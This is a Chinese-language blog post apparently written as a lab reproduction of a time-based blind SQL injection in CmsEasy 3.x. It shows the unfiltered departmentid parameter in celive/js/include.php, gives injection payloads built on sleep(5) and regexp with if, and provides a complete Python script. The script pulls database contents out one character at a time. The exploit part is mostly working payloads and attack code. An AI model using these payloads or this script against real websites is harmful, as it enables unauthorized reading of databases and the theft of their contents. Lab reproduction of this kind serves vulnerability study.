易通SQL时间盲注复现

2017-11-14  本文已影响0人  漏斗社区

易通CMS是一个企业网站建站系统,本期带来其3.X.X版本中,前台SQL注入和后台文件上传的漏洞复现过程。

基础环境:

1. 虚拟机win2003搭建phpstudy作为web环境,IP为192.168.159.185。

2. CmsEasy V3.X.X 源码一份。

源码部署过程:

1. web环境的选择使用PHP 5.2.17+apache的环境。

2. 将易通CMS部署到网站根目录上

下载地址:http://pan.baidu.com/s/1dET5uY9

 密码:shxn

解压完成后,将源代码直接放置win2003 的phpstudy的WWW根目录上。

3. 访问网站IP,进行搭建。

4. 根据提示,依次填写数据库帐号密码,数据库名,网站管理员帐号密码等。

5. 安装成功,会跳转到后台登录页面。

漏洞复现过程:

1. SQL注入点位置:http://IP/celive/js/include.php?cmseasylive=1111&departmentid=0

2. 下面是include.php的部分代码。

if (isset($_GET['departmentid'])) {

$departmentid = $_GET['departmentid'];

$activity_sql = "SELECT `id` FROM `".$config['prefix']."activity` WHERE  `departmentid`='".$departmentid."' AND `operatorid`='".$operatorid."'";

$onlinelink2 = '';

@$result2 = $db->my_fetch_array($activity_sql);

分析代码,可以输入到参数departmentid的值会传递到$activity_sql去查询,此处没有做过滤,但也没有回显查询结果和爆错语句,因此可以尝试使用字符型的时间盲注。

3. 基本payload

include.php?cmseasylive=1111&departmentid=0' and sleep(5) AND '1'='1

include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"

4. 写个python脚本来跑时间盲注。

#-*-coding:utf-8-*-

import requests,string,time

url="http://127.0.0.1/cmseasy/uploads/celive/js/include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"

payloads=string.letters+string.digits+"_-:@.,"

def cmseasysql(sqli):      #sqli为你输入的sql语句,如select database()

temp=''

for j in range(100):

l1=len(temp)

for payload in payloads:

payloadtmp=payload

payload=temp+payload

uri=url%(sqli,payload)

#print uri

startTime=time.time()          #请求前记录初始时间

response=requests.get(uri)

if (time.time()-startTime)>5:  #请求后时间差是否大于5

temp+=payloadtmp

print 'Get_Data:'+temp #方便查看结果,可注释

break

l2=len(temp)

if l1==l2:  #此处是优化速度,跑到数据就不再循环,判断依据是长度

break

print temp

def runsqli():  #while循环:可以一直查询SQL语句

while(1):

sqli=raw_input("Input you sqli: ")

cmseasysql(sqli)

if __name__ == '__main__':

runsqli()

运行效果:

输入的语句,可以是select database(),select user(),select tables from information_schema...

5. 爆绝对路径漏洞。

小结:

本次漏洞复现主要是斗哥用来练手sql时间盲注和脚本的编写了,注入语句用的是正则+if函数来进行的,大家有什么更好的姿势也可以提出来交流交流,cmseasy原本有上传漏洞的,不过此次的版本对这个漏洞做了修改,没能复现出来。大家可以回去试试看哪个版本。

上一篇下一篇

猜你喜欢

热点阅读